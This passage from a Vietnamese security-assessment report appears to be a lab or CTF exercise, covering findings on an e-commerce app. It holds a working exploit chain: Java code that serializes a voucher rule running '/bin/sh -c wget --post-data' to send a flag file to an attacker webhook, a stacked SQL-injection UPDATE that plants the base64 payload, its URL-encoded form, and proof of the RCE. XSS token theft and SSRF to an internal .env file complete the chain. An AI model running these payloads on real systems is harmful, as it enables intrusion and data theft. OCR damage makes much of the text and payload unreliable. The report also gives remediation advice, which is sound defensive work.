ProcessBuilder.start() va dan tdi Remote Code Execution.

2.6.3 Preconditions

L6 hdng nay yéu cau attacker cé tai khoan da dang nhap véi role SELLER, do endpoint bi anh
hudng chi dudc thiét ké dé phuc vu seller. Ngoai ra, hé théng cling can ton tai 16 héng SQL
Injection cho phép thuc thi cau [énh UPDATE dé thay ddi dit liéu lién quan dén qua trinh khai
thac.

Néu khai thac 16 h6ng nay mot cach déc |ap, attacker can co sén tai khoan vdi role SELLER.

Trong exploit chain clia b4o cdo nay, cac diéu kién trén dugc thda man thdng qua cac budc trudc
do:

Attacker khai thac Stored XSS tai XPE-01-002 bang cach report order cho admin. Khi admin
bot doc ndi dung report, payload XSS dudc thuc thi va glii JIWT access token cia admin vé
webhook do attacker kiém soat.

Sau khi cé admin JWT access token, attacker st dung quyén admin dé thay déi role cua tai
khoan minh thanh SELLER.

L6 hong SQL Injection tai XPE-01-005 cho phép attacker thuc thi cAu lénh UPDATE, dap Ung
diéu kién con lai dé tiép tuc khai thac 16 hdng nay.

2.6.4 Steps to reproduce

Step 1: Tao payload cho trudng rule_blob cla table dbo.vouchers

Su dung lai ma ngudn backup bi 16 ra tai 16 héng SSRF tai XPE-01-004 va tai dusng dan

_private/backup/backend/source/src/main/java/com/cbjs/ximiplace/service/voucher/rul


af://h3-34
af://h3-35

e/ taothém file MainSerializer.java v&indi dung:
package com.cbjs.ximiplace.service.voucher.rule;

import java.math.BigDecimal;
import java.util.List;

public final class MainSerializer {

private MainSerializer() {

}

public static void main(String[] args) {
ExternalCampaignVoucherRule rule = new ExternalCampaignVoucherRule();

rule.setInterpreterPath("/bin/sh™);
rule.setCampaignScriptPath("-c"
rule.setArqguments(List.of(
"wget -q0- --post-data=\"$(cat /flag_D6aCrh)\" --header='Content-Type:
text/plain' <link-web-hook>"

)

rule.setFallbackDiscount(BigDecimal.ZERO);
rule.setWaitForCompletion(true);

rule.setTimeoutMillis(10_000);

String encodedRule = LegacyVoucherRuleCodec.serializeToBase64(rule);
System.out.println("=== SERIALIZATION SUCCESS ===");

System.out.println("Base64 length: " + encodedRule.length());
System.out.println(encodedRule);

Muc dich lam vay dé serialize ra mét dang base64, va khi goi endpoint /api/vl/checkout nay
dudc goi thi n6 deserialize cai dé ra object ExternalCampaignVoucherRule va sé tu dong chay
ExternalCampaignVoucherRule.calculate() va OS command sé dugc thuc thi dudi dang:

/bin/sh -c wget -g0- --post-data=\"$(1s /)\" --header='Content-Type: text/plain’' <link-
web-hook>

C4 thé st dung Webhook.site hodc Beeceptor cho <link-web-hook> déu dugc.
Tiép tuc chay [énh dé ra output

cd _private/backup/backend/source

javac -d /tmp/ximi-rule-classes \
src/main/java/com/cbjs/ximiplace/service/voucher/rule/*.java

java -cp /tmp/ximi-rule-classes com.cbjs.ximiplace.service.voucher.rule.MainSerializer


https://webhook.site/
https://beeceptor.com/

rOOABXNYAEN jb20uY2Jgcyb4alilpcGxhY2Uuc2Vydml jZS52b3VjaGVyLnJibGUURXhOZXJuYWxDYWiwYWlnblZv
diiNoZXJSdx1XQAqysBAhnoCAAZKAALOaL1b3VOTW1sbGlzWgARI2FpdEZvckNvbXBsZXRpb25MAALhecmdlbilVu
dHNOABBMamF2YS91dG1lsLOxpc3Q7 TAASY2FtcGFpz25TY3JpcHRQYXRodAASTGphdmEvbGFuZySTdHIpbmec7 TAAQ
ZmFsbGJhY2tEaXNjb3VudHQAFkxqYXZhL21hdGgvQm1lnRGV jallhbDtMAASpbnR1cnByZXR1c1BhdGhxAHAAANhw
AAAAAAAAIXABC3IAEWNphdmEudXRpbC5Db2xsU2VyV46rt jobgBEDAAFJAANOYIWd4cAAAAAF3SBAAAAAFOAGL3Z2V0
ICIxTyOgLSIwb3NOLWRhdAGE9IiQobHMgLykiICOtaGVhZGVyPSdDb250ZIW50LVR5cGUBIHR1eHQvcGXxhalldnIGhO
dHBz0i8vdG1l1lcGhlYTEyMySmemV1LmJ1ZWN1cHRvei5jb214dAACLWNZzcgAUamF2YS5tYXRoL kJpZOR1Y21tYWxU
xXVX+YEoTwMAAKkkABXN jYWx1TAAGaW5OVmFsdAAWNTGphdmEvbWFOaC9CalldJbnR122Vy03hyABBqYXZhLmxhbmcu
TnVtYmVyhqyVHQuUAIsCAABAcAAAAABzcgAUamF2YS5tYXRoLkJpZO1ludGVnZXKM/J8FgTvZHQMABk kACGJIpdENV
diV50SQAJYM1OTGVUZ3RoSQATZm1yc3R0b256Z2XJvQn10ZU51bUkADGXxvd2VzdFN1dEJpdEKABNNpZ251bVsACINLh

Z25pdHVKZXQAALtCeHEATQAL/// [/ 1111111111+ ]]]]/aAAAABLcgACWOKs8xF4BghU4ATAAHhWAAAAAHNAJAAH
L2Jpbi9zaA==

Két qua: Da cé dugc payload cho trudng rule_blob
Step 2: SU dung lai 16 hong SQLI tai XPE-01-005 dé update dif lidu vdi payload trén
Payload cho keyword c6 dang nhu sau:

"); UPDATE dbo.vouchers SET rule_blob = '<baseB4-value>' WHERE code = 'XIMI10' -- -

Vi hién tai cau query dang c6 dang:

SELECT p.id, p.name, p.sku, p.slug, p.image_path, p.price, p.sale_price, p.stock,
p.rating, p.status, c.name AS category_name, s.name AS store_name FROM products p
LEFT JOIN categories ¢ ON p.category_id = c.id
LEFT JOIN stores s ON p.store_id = s.id
IWHERE p.store_id = <storeId>

AND (LOWER(p.name) LIKE '%<keyword>%') ....

Nén néu ghép gia tri payload vao thi sé& nhu thé nay:

SELECT p.id, p.name, p.sku, p.slug, p.image_path, p.price, p.sale_price, p.stock,
p.rating, p.status, c.name AS category_name, s.name AS store_name FROM products p
LEFT JOIN categories ¢ ON p.category_id = c.id
LEFT JOIN stores s ON p.store_id = s.id
WHERE p.store_id = <storeld>

AND (LOWER(p.name) LIKE '%');
UPDATE dbo.vouchers SET rule_blob = '<baseb64-value>' WHERE code = 'XIMI1Q' -- -%')

Nhu vay né sé tach ra 2 cAu command va hién tai BE cling hd trg diéu dé nén la c6 thé UPDATE
di liéu dugc.

Thay <base64-value> bang gid tri tinh dudc & budc 1 vao trong payload clia keyword

'); UPDATE dbo.vouchers SET rule_blob =
"TOOABXNYAEN jb20uY2Jqgcyb4alilpcGxhY2Uuc2Vydml jZ2S52b3VjaGVyLnJ1bGUURXhOZXJuYWxDYWiwYWlnblZ



vdliNoZXJSdx1XQAqysBAhNoCAAZKAALOANL1b3VOTINLsbGlzWgARI2FpdEZvckNvbXBsZXRpb25MAALhemdLbWWy
udHNOABBMamF2YS91dG1sLOxpc3Q7 TAASY2F tcGFpZ25TY3JpcHRQYXRodAASTGphdmEVbGFUZy9TdHIpbmec7 TAA
0ZmFsbBJhY2tEaXNjb3VudHQAFkxqYXZhL21hdGgvOmlnRGY jallhbDtMAA9pbnR1cnByZXR1c1BhdGhxAHAAANA
wWAAAAAAAAJXABC3IAENphdmEUudXRpbCEDb2xsU2VyV46rt jobgBEDAAF JAANOYIWd4cAAAAAFSBAAAAAFOAGL3Z2V
OICLXTyOgLSIwb3NOLWRhAGESIiQobHMgLykiICOtaBVhZGVyPSdDb250ZW50LVR5cGUBIHR1eHQvcGxhalldnIGh
0dHBz0i8vdG11cGhLlYTEyMySmemV1LmJ1ZWN1cHRvci5jb214dAACLWNZcgAUamF2YS5tYXRoL kJpZOR1Y21 tYWx
UxxVX+YEoTwMAAK kABXN j YIx1 TAAGAN5OVmMFsdAANTGphdmEvbWFOaC9CalldJbnR1Z2Vy03hyABBgYXZhLmxhbme
uTnVtYmVyhqyVHQuUUAIsCAABACAAAAABZzcgAUamF2YS5EtYXRoL kJpZ01ludGYnZXKM/ J8FqTv7HQMABK kACGJIpPdEN
vdW50SQAJIYm1OTGVUuZ3RoSQATZmlyc3R0b256ZXJvQn10ZU51bUkADGxvd2VzdFN1dEJpdEkKABNNpPZ251bVsACIWL
hz25pdHVkZXQAAL1tCeHEATQAL///////////////+/////9AAAABLcgACIIOK s 8x fABghU4ATAAHhwAAAAAHh4AAA
HL2Jpbi9zaA==" WHERE code = 'XIMI10' -- -

Tiép tuc encode URL toan bd payload thi sé ra nhu thé nay:

%27%29%3b%20%55%50%44%41%54%45%20%064%62%06T%2e%76%06T%75%63%068%65%72%73%20%53%45%54%20%72%
75%6c%65%5T%62%6Cc%06T%62%20%3d%20%27%72%4 T%30%41%42%58%4e%79%A41%45%4e%60%62%32%30%75%59%3
2%40%71%63%79%35%34%061%57%31%70%063%47%78%68%59%32%55%75%063%32%56%79%064%06d%6Cc%060%50%53%35
%32%62%33%56%60%61%47%56%79%4Cc%06e%40%31%62%47%55%75%52%58%68%30%50%58%40%75%59%57%78%44%
59%57%31%77%59%57%6C%6e%62%6C%50%76%064%57%4e%06T%50%58%40%53%064%57%78%06c%58%51%41%71%79%7
3%36%41%68%06e%06T%43%41%41%50%4b%A41%41%31%30%61%57%31%6C%062%33%56%30%54%57%06C%73%62%47%06C
%70%57%67%41%52%64%32%46%70%064%45%50%76%063%6b%4e%76%62%58%42%7 3%50%58%52%70%62%32%35%4d%
41%41%6c%68%63%06d%64%31%62%57%56%75%064%48%4e%30%41%42%42%4d%61%6d%46%32%59%53%39%31%64%4
7%6C%73%4Cc%30%78%70%063%33%51%37%04%41%41%53%59%32%46%74%063%47%46%70%50%32%35%54%59%33%4a
%70%63%48%52%51%59%58%52%06 T%04%41%41%53%54%47%70%068%64%6d%45%76%062%47%46%75%50%79%39%54%
64%48%40%70%62%06d%63%37%54%41%41%51%50%06d%46%7 3%062%47%40%68%59%32%74%45%61%58%4e%60%62%3
3%56%75%64%48%51%41%46%060b%78%71%59%58%50%068%4Cc%32%31%68%04%47%67%76%51%6d%06c%06e%52%47%56
%060%61%57%31%68%62%44%7 4%Ad%A41%41%39%70%62%6e%52%06c%63%6e%42%79%50%58%52%06Cc%063%6c%42%68%
64%47%068%78%A41%48%34%A41%41%6e%68%7 7%41%A1 %A1 %41 %A1 %41 %41 %41 %40%7 8%A41%42%63%33%49%41%45%5
7%70%68%64%6d%45%75%64%58%52%70%62%43%35%44%62%32%78%7 3%55%32%56%79%56%34%36%72%74%6a%6 f
%02%71%42%45%A44%01%41%46%40%41%41%4e%30%59%57%064%34%03%41%41%A41%41%41%46%33%42%41%41%41%
41%41%46%30%41%47%6C%33%50%32%56%30%49%43%31%78%54%79%30%67%4c%53%31%77%62%33%4e%30%4C%5
7%52%068%064%47%A45%39%49%069%51 %6 T%62%48%4d%067%4c%79%06b%069%49%43%30%74%061%47%56%68%50%47%56
%79%50%53%064%44%62%32%35%30%50%57%35%30%4C%56%52%35%63%47%55%36%49%48%52%06Cc%065%48%51%76%
63%47%78%68%061%57%34%06e%49%47%68%30%04%A48%42%7 0%4T%69%38%76%04%47%06C%06C%063%47%68%31%59%5
4%45%79%4d%79%35%6d%63%06d%56%6Cc%4c%06d%4a%6c%50%57%4e%6Cc%063%48%52%76%063%69%35%060%62%32%31
%34%064%41%A41%43%4c%57%4e%70%063%067%41%55%61%6d%46%32%59%53%35%74%59%58%52%06 %4 c%6b%4a%70%
50%30%52%6C%59%32%6C%74%59%57%78%55%78%78%56%58%2b%59%45%0 T%54%7 7%4d%A41%A41%6b%06b%41%42%5
8%4e%60%59%57%78%06Cc%0A4%41%41%A47%061%57%35%30%56%0d%46%7 3%064%A41%41%57%54%47%70%068%64%6d%45
%76%62%57%46%30%61%43%39%43%061%57%64%40%62%6e%52%06C%50%32%56%7 %4 T%33%68%79%41%42%42%7 1%
59%58%50%68%4c%06d%78%68%62%06d%63%75%54%6e%56%74%59%06d%56%79%068%71%79%56%48%51%75%55%34%4
0%73%43%41%41%42%34%063%A41%41%A41%41%41%42%7 0%63%67%41%55%061%06d%46%32%59%53%35%74%59%58%52
%6T%4c%06b%40%70%50%30%6C%75%64%47%56%6e%50%58%4b%4d%2T%40%38%066%71%54%76%37%48%51%4d%41%
42%6b%06b%41%43%A47%40%70%064%45%4e%76%064%57%35%30%53%51%41%40%59%6d%6c%30%54%47%56%75%50%3
3%52%06T%53%51%41%54%50%06d%6C%79%063%33%52%4 T%62%32%35%36%50%58%40%76%51%6e%6Cc%30%50%55%35
%31%62%55%0b%41%44%A47%78%76%64%32%56%7 a%064%46%4e%06c%64%45%40%70%064%45%6b%41%42%6e%4e%7 0%
50%32%35%31%62%56%7 3%41%43%57%31%68%50%32%35%70%64%48%56%06b%50%58%51%41%41%6c%74%43%65%4
8%45%41%066%067%41%4c%s2T%2T%2F%2T%2T%2T%2 %2 T%2T%2T%2 %2 T%2T%2T%2T%2b%2 %2 %2 %2 T%2T%67%41
%A1%A41%41%042%31%63%067%41%43%57%30%4b%73%38%78%006%34%42%067%068%55%34%41%49%A41%A41%A8%68%77%
A1%41%41%41%41%48%68%34%064%41%41%A48%4c%32%40%70%62%69%39%7 %61 %41%3d%3d%27%20%57 %48%45%5
2%45%20%63%6T%064%65%20%3d%20%27%58%49%4d%49%31%30%27%20%2d%2d%20%2d

Step 3: SU dung payload do6 thém filter tuong tu nhu ¢ XPE-01-005



+ Thém san pham

San pham

Quan ly
Quan ly san phdm cua cifa hang ban

98 Téng quan

® San phdm
@ Bon hang B0 loc san pham
@& Cuia hang Tit khod Danh muc Trang thdi
Q %27%29%3b%20%55%50%44 %41 Tét ca v Tatca v
Gid t6i thiéu Gid toi da Ton kho Sap xép theo
Tat ca v Mac dinh v
Thif ty
Giam dén v
Luu b loc hién tai Bé loc da luu
rce — Khéng dung — v
Xoa bd loc
Luu bé loc hién tai Bé loc da luu
— Khéng dung — v

Tén bd loc...
v — Khéng dung —

Xod bd loc
\ version
rce

PrAanh AifA HAanh AAnn

SAn nhAm A Trana thai P hAan

Step 4: Hoan tat mua hang kém voucher dé giii endpoint /api/vl/checkout va kich hoat

deserialize

Thanh toan mét sdn pham bat ki véi voucher:

Ban hang (1)
j Qudn boxer dui tréng 69.000 d
] x1
Ma giam gia
XIMI0 Ap dung
69.000 d

Tam tinh



Baon hang (1)

j Qudn boxer dui trding 69.000d
x1

Ma giam gia
XIMINO Ap dung

Da dp dung XIMNO. Ude tinh giam 6.900 d.

Tam tinh 69.000 ¢
Voucher -6.900 d
Phi van chuyén 3.600 ¢
Téng thanh todn 65.700d

Dat hang va thanh toan Wallet

Step 5: Check Webhook c6 request nao gui tdi khong

https://tiephual23.free.beeceptor.com = {nowhere} ¥ Al £ Mock Rules (1) % Routing
posT 4 [EZD) 0.0s 2 minutes ago Create Mock

Request Body: View Headers () ¢ Response Body: View Headers {} 5
__cacert_entrypoint.sh o Hey ya! Great to see you here. Btw, nothing is configured for this redu

app

bin

boot

dev

etc
flag_D6aCrh
home

lib

1ib64

media

mnt
opt
proc
root
run

Két qua: Result tir lénh 1s / da dudc gli t8i webhook dugdc cau hinh tir ban dau. Ching td
server da bi RCE

2.6.5 Remediation

Ung dung can loai bo viéc deserialize Java object tir dif liéu cé thé bi attacker kiém soat. Trong
trudng hop nay, khdng nén tiép tuc st dung ObjectInputStream dé xur ly gia tri trong
vouchers.rule_blob, vi Java native serialization c6 rli ro cao va dé& dan dén Insecure
Deserialization.

Bién phap an toan nhat & thay thé co ché legacy serialized rule bang mot dinh dang dir liéu an
toan han, vi du JSON cé schema chit ché hoic céc trudng cau hinh rule ré rang trong database.

Backend chi nén parse di liéu theo schema c& dinh va anh xa sang cac rule type dudc dinh nghia
san trong Ung dung.
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Vi du, thay vi luu Java serialized object trong rule_blob, Uing dung cé thé luu rule dudi dang di
liéu thuan tuy:

{
"type": "PERCENTAGE_DISCOUNT",
"discountPercent”: 10,
"maxDiscount”: 50000,
"applicableStoreIds": [1, 2, 3]
}

Sau dd, backend chi x{r ly cAc type nam trong allowlist, vi du:

PERCENTAGE_DISCOUNT
FIXED_AMOUNT_DISCOUNT
FREE_SHIPPING
STORE_SPECIFIC_DISCOUNT

N&u vi ly do tuang thich ma van bat budc phai hd trg legacy serialized rule, tng dung can ap
dung cd ché kiém soat trudc khi goi readobject(), bao gom:

St dung ObjectInputFilter dé gidi han class dugc phép deserialize.

Ap dung class allowlist nghiém ngét, chi cho phép cac class rule an toan.

Chan toan bd class khéng can thiét hoac cd kha nang tao side effect.

Gidi han object graph, depth, references, array size va stream size.

Khéng deserialize dit liéu tir database néu dir liéu dd co6 thé bi user hoac attacker ghi vao.

Khong goi method cé side effect trén object vira deserialize néu object dé chua dudc xac
thuc an toan.

Khéng nén deserialize tryc tiép nhu sau:

Object value = input.readObject();

N&u can gill co ché deserialize tam thdi, can ciu hinh filter trudc khi goi readobject() :

ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.cbjs.ximiplace.service.voucher.rule.SafeVoucherRule; ! *"

J;
input.setObjectInputFilter(filter);

Object value = input.readObject();

Tuy nhién, day chi nén & bién phap tam thdi. Huéng khac phuc bén viing van la loai bé Java
native serialization khoi ludng x{ ly voucher rule.

Ngoai ra, Uing dung can loai bd hodc vd hiéu hda dudng dan thuc thi command trong qua trinh
tinh toan voucher. Cu thé, khong nén dé di liéu |y tif rule_blob c6 kha ning diéu khién cac



thanh phan ctia command nhu interpreterPath, campaignScriptPath hodc arguments, sau
dd truyén vao ProcessBuilder .
Néu hé théng that su cAn chay campaign script bén ngoai, chiic nang nay can dugc thiét ké lai

theo hudng an toan haon:

Khéng cho phép dii liéu tir database quyét dinh executable path hodc argument tly y.

Chi cho phép goi cac script nam trong allowlist cd dinh.

Khéng st dung /bin/sh -c v&i chudi command déng.

Chay script trong sandbox hodc container tach biét v8i quyén han thap.

Gidi han quyén truy cap filesystem, network va environment variables clia process.

Ghi log day di méi lan script dudc goi.

Khdng cho phép script dugc cau hinh ho&c kich hoat bai dir liéu cé thé bi attacker thay déi.

Database account clia (ing dung cling can dudc gidi han quyén theo nguyén tac least privilege.
Application user khdng nén c6 quyén cap nhat truc tiép cac cot nhay cdm nhu
vouchers.rule_blob néu chiic ndng thdng thudng khong can thiét. Diéu nay gilp giam tac dong
khi co6 mdt 16 héng khac, vi du SQL Injection, bi ding dé ghi payload vao database.

Ngoai ra, c6 thé bé sung kiém soat tinh toan ven cho voucher rule. Vi du, néu rule dugc luu trong
database, backend cé thé ky dir liéu bang HMAC ho&c digital signature va chi xt ly rule khi chit
ky hgp L&. Tuy nhién, chit ky chi la l&p bao vé bd sung, khong thay thé cho viéc loai bd insecure

deserialization.

Sau khi khac phuc, can bé sung test case dé dam bao:

rule_blob khéng con dudc deserialize bang ObjectInputStream.

Java serialized object khdng dudc chap nhan lam voucher rule.

Voucher rule chi dudc xtf ly néu ding schema va ding rule type dugc allowlist.

Céc class ngoai allowlist khdng thé dudc deserialize.

Khong cé ludng nao cho phép dif liéu trong rule_blob di dén ProcessBuilder.start().

Attack chain tif SQL Injection sang cap nhat vouchers.rule_blob khdng con dan dén

command execution.

Checkout véi voucher hgp & van hoat ddng binh thudng.

Tém lai, hudng khac phuc chinh la loai bd Java native deserialization khoi ca ché voucher rule,
thay thé bang rule schema an toan, ap dung allowlist nghiém ngat néu can ho trg legacy tam
thdi, va loai bo dudng dan tu dir liéu trong database dén ProcessBuilder .



2.7 XPE-01-007: Exploit Chain from Stored XSS to
Remote Code Execution

2.7.1 Téng quan chudi khai thac

Muc nay m6 t& mot chudi khai thac hoan chinh cho phép mét ngusi ding cé quyén thap leo
thang dac quyén va cudi cung dat dudc Remote Code Execution trén backend server.

Chubi khai thac bat dau tl 16 héng Stored XSS trong trudng dia chi don hang. Khi admin bot hoac
quan tri vién truy cap trang chi tiét don hang bi anh hudng, doan JavaScript dugc chén vao sé
dudgc thuc thi trong nglt cAnh clia admin va lam ro ri JWT access token cta admin.

Sau khi cé dugc JWT token bi ro ri, attacker cé thé truy cip vao tai khodn admin va st dung chuc
nang quan ly role dé thay ddi role clia chinh tai khoan attacker tir ngudi dung théng thuédng thanh
SELLER. Diéu nay cho phép attacker truy cip cac chiic ning chi danh cho seller, vén khdng kha
dung d&i v8i ngusi dung théng thudng.

Sau khi cd quyén seller, attacker tiép tuc thuc hién reconnaissance va phat hién mét sé tai
nguyén bi expose, bao gom Swagger documentation, robots.txt va docker-compose.yml . Cac
file nay tiét 16 nhiéu théng tin ndi bd co gia tri nhu danh sach endpoint, dudng dan backup, tén
service ndi bd va cau hinh trién khai ctia hé théng.

Tiép theo, mdt endpoint danh cho seller bi lam dung dé khai thac SSRF. Backend chi kiém tra
URL d&u vao co6 bat dau bang https hay khéng, nhung khéng kiém tra lai URL cudi cung sau khi
xay ra redirect. Bang cach cung cap mét URL HTTPS do attacker kiém sodt va redirect URL nay
dén hostname ndi bd trong Docker network, attacker cé thé budc backend truy cap vao dudng
dan ndi bod trén CDN service:

http://cdn/_private/backup/.env

Do backend follow redirect va khéng kiém tra day dd content type cua di liéu dudc tai vé, file
.env ndi bd cé thé bj lay ra va luu lai thanh mot file ma attacker co thé truy cap ti bén ngoai.
File nay lam ro ri cAu hinh backup, bao gom thdng tin can thiét dé truy cap source code backup

cla ung dung.

Sau khi |3y dugc source code, attacker tién hanh review implementation va phat hién thém hai
van dé quan trong: 16 héng SQL Injection trong mdt seller endpoint va ludng Java deserialization
khdng an toan lién quan dén voucher rule.

L6 hdng SQL Injection cho phép attacker chinh sira dif liéu trong database. Trong chudi khai thac
nay, attacker st dung SQL Injection dé ghi dé serialized voucher object dang dugc luu trong
database bang mot serialized object ddc hai.
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Khi ting dung x{ ly voucher va deserialize object da bi chinh slra, payload ddc hai sé di dén
command execution sink, dan dén Remote Code Execution trén backend server.

2.7.2 Ludng tan céng tuyén tinh

Tai khodn nguweri dung quyén thap
)
Stored XSS trong truwong dia chi don hang
!
Admin bot/admin truy cdp chi tiét don hang déc hai
)
JWT access token cla admin bi ro ri
)
Attacker truy cdp dwec tai khodn admin
)
Attacker thay déi role cla chinh minh thanh SELLER
)
Cdc endpoint danh riéng cho seller cé thé dwoc truy cap
)
Recon phdt hién Swagger, robots.txt va docker-compose.yml bi expose
)
SSRF trong chirc ndng URL cla seller
)
Backend follow HTTPS redirect dén internal CDN service
!
File .env ndi bd bi tiét 16
)
Théng tin backup repository bi ro ri
)
Attacker té&i va review source code
!
Source code tiét 16 SQL Injection va insecure Java deserialization
)
SQL Injection chinh slra serialized voucher object trong database
)
('ng dung deserialize object do attacker kiém soat
!
Payload di dén command execution sink
)

Remote Code Execution trén backend server

2.7.3 Bang tém tat chudi khai thac

Step Vulnerability / Weakness Result

1 Stored XSS trong trudng dia chi don JavaScript dugc thuc thi trong nglt cdnh
hang admin

2 RO ri JIWT token clia admin Attacker |8y dudc admin access token

3 Lam dung chiic nang quan ly role cla Attacker thay déi role ctia chinh minh

admin thanh SELLER


af://h3-39
af://h3-40

Step

10

11
12

13

Vulnerability / Weakness
Truy cap dugc seller-only endpoints

Swagger, robots.txt va docker-
compose.yml biexpose

SSRF do kiém tra URL khéng day du
Thiéu kiém tra final URL va content type
RO ri cau hinh backup

Source code disclosure

SQL Injection trong seller endpoint

Attacker kiém soat serialized object
Insecure Java deserialization

Command execution sink

2.7.4 Tac déng cudi cung

Result
Bé mat tAn cdng mdi dudc md ra

Endpoint ndi bd va dudng dan backup bi
tiét 16

Backend truy cap dugc internal CDN
service

File .env ndibd bi luu lai va expose ra
ngoai

Attacker lay dudc thong tin backup
repository

Attacker xac dinh dugc SQL Injection va
deserialization logic

Attacker chinh stfa dugc di liéu trong
database

Serialized voucher object bj ghi de
Object doc hai dugc deserialize

Remote Code Execution dugc thuc thi

Bang cach két hgp cac 16 hang trén, mot attacker bat dau tir tai khoan ngusi dung théng thudng

c6 thé danh cap JWT token clia admin, truy cip chiic ndng quan tri, nAng role cta chinh minh [én

SELLER, lam rd ri cAu hinh ndi b, |4y dugc source code backup, xac dinh logic backend dé bi

khai thac, chinh stra di liéu trong database théng qua SQL Injection va cudi cung dat dugc

Remote Code Execution thong qua insecure Java deserialization.

Chubi khai thac nay nén dudc danh gia & miic Critical vi né cho phép attacker chiém quyén thuc

thi l&nh trén backend server tir diém xuat phat ban dau chi la mét tai khodn ngudi dung quyén

thap.

2.8 XPE-01-008: Stored XSS in Product Description
Section of Product Detail Page
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2.8.1 Description and Impact

Attacker co role SELLER c6 thé chén HTML/JavaScript payload vao trudng mé ta san pham.
Payload nay dudc luu lai trong database va sau dé dudgc render truc tiép vao ndi dung raw HTML
cua trang Product Detail.

Khi ngusi dung truy cap trang chi tiét san pham tuong (ing, payload sé& dugc load [&n va thuc thi &
phia client-side.

L6 héng nay cho phép attacker thuc thi JavaScript trén trinh duyét nan nhan, qua dé cé thé thay
d6i ndi dung trang, hién thi giao dién phishing, gui request dudi phién dang nhap cta nan nhan
ho&c danh cap di liéu phia client néu (ing dung luu token & nai JavaScript cé thé truy cap.

Khac véi Stored XSS trong dia chi don hang, trang chi tiét sdn pham co thé dudc truy cip cdng
khai. Do dd, attacker cé thé phat tan URL san pham ddc hai dén nhiéu ngudi dung ma khéng yéu
cau nan nhan phai s& hitu don hang trudc do.

2.8.2 Root Cause

L6 héng nay ban dau dudc xac dinh thong qua kiém thit black-box va sau d6 dugdc xac nhan lai
bang source code review.

Dau tién, backend cho phép seller tao va cap nhat san pham tai

backend/source/src/main/java/com/cbjs/ximiplace/controller/ProductController. java.

API tao san pham:

aPostMapping
public ResponseEntity<ProductResponse> create(
aValid @aRequestBody CreateProductRequest request

)|

Long userId = currentUserService.getCurrentUserId();

return ResponseEntity.ok(
productService.createProduct(userId, request)
J):
1

API cap nhat san pham:

aPutMapping("/{id}")
public ResponseEntity<ProductResponse> update(
@aPathVariable Long id,
aValid aRequestBody UpdateProductRequest request
)
return ResponseEntity.ok(
productService.updateProduct(id, request)

)
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Trudng description trong request chi dugc gidi han do dai, khong co sanitizer hoac allowlist
HTML. Source code tai

backend/source/src/main/java/com/cbjs/ximiplace/dto/product/CreateProductRequest. ja

va va

backend/source/src/main/java/com/cbjs/ximiplace/dto/product/UpdateProductRequest. ja

va.,

aSize(max = 4000)
private String description;

Annotation aSize(max = 4000) chikiém tra dd dai ctia chudi. N6 khdng ngan ngudi dung nhap
HTML tag hoac JavaScript event handler nhu onerror, onload.

Sau dd, backend dung mapper dé copy dit liéu tif request sang entity Product va luu xuéng
database tai

backend/source/src/main/java/com/cbjs/ximiplace/service/ProductService. java.
Product product = productMapper.toEntity(request);

product .setCateqory(category) ;

product .setStore(store);

product .setSoldCount(0);

return productMapper.toProductResponse(
productRepository.save(product)

J;
D&i v6i cap nhat san pham:
productMapper.updateEntity(request, product);

Product updated = productRepository.save(product);

return productMapper.toProductResponse(updated);

Gia tri description dudc luu xudng database théng qua entity Product , tuong ing véi cot

products.description tai

backend/source/src/main/java/com/cbjs/ximiplace/entity/Product. java.

aColumn(
name = "description”,
columnDefinition = "nvarchar(max)"

private String description;

DAy |4 tién dé tao ra yéu td “stored” cla Stored XSS, vi payload khéng chi ton tai trong request
ma dudgc luu lai trong database.

Khi ngudi dung truy cap trang chi tiét san pham, frontend goi API ldy théng tin san pham:



GET /api/vai/products/{id}

Endpoint nay dugc x( ly tai

backend/source/src/main/java/com/cbjs/ximiplace/controller/ProductController. java.

aGetMapping("/{id}")

public ResponseEntity<ProductResponse>

getProductByID(aPathVariable Long id) {
return ResponseEntity.ok(

productService.getProductById(id)
J):

Céac endpoint GET cla san pham dugc cho phép truy cap cong khai tai

backend/source/src/main/java/com/cbjs/ximiplace/util/config/SecurityConfig. java.

.requestMatchers(
HttpMethod.GET,
"/api/vl/products/**",
"/api/vl/categories/**",
"/api/vl/stores/**",
"/api/vl/carts”

) .permitA11()

Piéu nay lam tang pham vi anh hudng vi ngusi dung khdng can dang nhap van cé thé mé trang
san pham chura payload.

Trong ProductService.getProductById() , backend doc sdn pham tir database va tra vé
response thong qua mapper.

Product prod =
productRepository.findById(id)
.orElseThrow(() ->
new NotFoundException(
"Product not found with id: " + id

)
)

if (!lisPubliclyVisible(prod)) {
throw new NotFoundException(
"Product not found with id: " + id

)
}

return productMapper.toProductResponse(prod);

Trudng description dugc dua vé frontend trong response va tiép tuc dugc map vao

product.description.

Root cause truc tiép nam & viéc frontend render product.description bang

dangerouslySetInnerHTML tai frontend/source/src/pages/ProductDetailPage.tsx.



<section className="mt-12">
<h2 className="font-display text-x1 font-bold mb-4">
M6 td sén phdm
</h2>

<div
className="prose prose-sm max-w-none rounded-2x1l border border-border/60 bg-card p-

dangerouslySetInnerHTML={{
__html: product.description
1
/>

</section>
React mac dinh sé& encode dif liéu khi render bang JSX thong thudng, vi du:

<div>{product.description}</div>
Tuy nhién, dangerouslySetInnerHTML dach( ddng bd qua co ché bdo vé mic dinh nay va dua
dd liéu vao DOM dudi dang HTML.

Do dé, nguyén nhan chinh cta 16 hong 1a di liéu m6 ta san phdm do seller kiém soat dudc luu
vao database va tra vé nguyén trang, sau dé dudc frontend render bang HTML sink
dangerouslySetInnerHTML ma khdng sanitize. Diéu nay cho phép payload HTML/JavaScript
dudc trinh duyét phan tich va thuc thi, dan t&i Stored XSS.

2.8.3 Preconditions

L6 hdng nay yéu cau tai khoan da dang nhap va cé role SELLER, vi endpoint bi &nh hudng chi
danh cho seller.

Trong trudng hop khai thac déc lap, attacker can cé san tai khoan SELLER.

Piéu kién nay dat dugc thdng qua cac budc trudc dé: attacker khai thac Stored XSS tai XPE-01-
002 dé Ay admin JWT access token (thdng qua viéc report order cho admin sau d6 bot doc va
gl JWT access token ctia admin vé webhook ctia minh), sau dé st dung quyén admin dé thay
ddi role tai khodn clia minh thanh SELLER.

2.8.4 Steps to reproduce

Step 1: Pang nhap vao tai khoan AccountA (Tai khoan da dudc cap role Seller)
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e XimiPlace Q  Tim san pham, thudng hiéu, cifa hang... =/ Q7 .3 AccountA
Xin chéo, AccountA

= & Hé s¢ cua o
#* MG Flash sale 12h mol ngay
Pan hang cua téi

Muq sa’m than..g minhl \ ;:::i:z.bcn
giao nhanh moi ngay. -

